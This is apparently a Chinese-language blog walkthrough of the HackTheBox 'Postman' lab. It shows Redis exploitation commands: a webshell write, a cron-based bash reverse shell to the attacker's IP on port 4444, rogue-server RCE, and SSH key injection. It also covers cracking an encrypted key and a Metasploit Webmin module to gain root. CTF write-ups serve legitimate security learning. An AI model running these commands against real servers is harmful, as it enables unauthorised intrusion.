Hackthebox---Postman

Hackthebox靶机—Postman


  1. 获取内网ipHackthebox---Postman_第1张图片

  2. 对靶机进行信息探测Hackthebox---Postman_第2张图片

  3. 发现存在四个端口开放(22,80,6379,10000),80端口和10000端口都是http服务,打开浏览器查看内容。Hackthebox---Postman_第3张图片

  4. 10000端口上起的服务是wenmin,使用searchspolit搜索存在漏洞,打开msfconsole,找到该模块,发现参数中需要账号密码,在浏览器上尝试一些弱密码都失败了,这里可能不是我们的突破口在这里插入图片描述

  5. 使用dirb、nikto或者gobuster对80端口目录进行探测,存在一些upload文件夹等,但是都无法利用,这里还有一个服务可以利用!

  6. redis服务,在网上存在有大量没有安全配置的redis使用了root权限,无密码或者弱密码。这些redis连接在公网上就很容易泄露机密信息,存在很高被黑的风险,基于这种redis服务存在四种利用方式(想要远程连接redis需要现在本地下载安装redis)

  7. 第一种方法:利用方式上传wellshell,需要的权限不高但是需要能够访问到/var/www/html目录,但是这个靶机上的redis权限不够会报错,所以这个方式无法利用
    在这里插入图片描述

    redis-cli -h host -p port -a password  #-h 服务器地址 -p 端口号 -a 密码
    set 1 ''
    CONFIG set dir '/var/www/html' #保存在web目录下
    CONFIG set dbfilename a.php	#文件名为a.php
    save
    
  8. 第二种方法:利用定时任务反弹shell。需要开启nc监听4444端口,由于权限太低失败。

    redis-cli -h host -p port -a password  #-h 服务器地址 -p 端口号 -a 密码
    set 1 "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/本地ip地址/4444 0>&1\n\n"
    CONFIG set dir '/var/www/html' #保存在web目录下
    CONFIG set dbfilename a.php	#文件名为a.php
    save
    
  9. 第三种方式:利用Redis基于主从复制的 RCE 利用方式,具体内参考https://blog.csdn.net/systemino/article/details/95913371,下载需要的两个代码模块https://github.com/LoRexxar/redis-rogue-server和https://github.com/n0b0dyCN/RedisModules-ExecuteCommand。在RedisModules-ExecuteCommand-master中使用make命令会自动编译生成一个module.so文件,当我在本地以./redis-server --loadmodule ./module.so启动时就可以直接执行系统命令了在这里插入图片描述接下去使用redis-rogue-server.py直接执行脚本,可能会报错把需要的python包下载一下就可以解决python3 redis-rogue-server.py --rhost --rport --lhost --lport 。但是在这个靶机上也执行失败了,好像msf上是有这个模块的,可以直接去尝试一下

  10. 最后就是利用"公钥私钥"获取权限,网上的教程都是将生成的authorized_keys写到/root/.ssh下,肯定是没有权限的,突破口就在这里在论坛上的老哥们的帮助下我知道了redis用户也可以进行ssh登录并且ssh的主目录就是在redis使用config get dir获取到的目录/var/lib/redis下且存在一个/.ssh目录,将文件保存在这个文件下就可以使用Redis用户进行ssh登录了。这里提供一个直接可以利用的脚本,执行时加上redis和ip地址 https://github.com/Avinash-acid/Redis-Server-Exploit/blob/master/redis.py

    ssh-keygen -t rsa #生成公私钥
    (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt #在公钥前加上\n
    cat 1.txt | redis-cli -h 10.10.10.160  -x  set  cracklist
    10.10.10.160:6379> config set dir /var/lib/redis/.ssh
    10.10.10.160:6379> config set dbfilename authorized_keys
    10.10.10.160:6379> save  
    ssh -i id_rsa [email protected]
    
  11. 获得redis的shell之后,可以发现home目录下存在一个用户文件夹/Matt,里面有一个user.txt但是没有权限可以查看。在opt目录下有一个id_rsa.bak文件查看里面的内容可以下载到本机上使用ssh2john将该文件转换为john可以执行的文件具体查看我的文章靶机攻击(1),里面有具体操作过程,可以获取到一个密码computer2008

  12. 想到用ssh登录用户是Matt但是只要是使用了加密的id_rsa登录还是直接用密码都会立马断开连接,这时候想到10000端口上,尝试登录成功!

  13. 使用msfcosole上的exploit/linux/http/webmin_packageup_rce模块,将参数填写上去直接run,就可以获得root权限了,记得ssl需要改成true!

你可能感兴趣的:(学习笔记)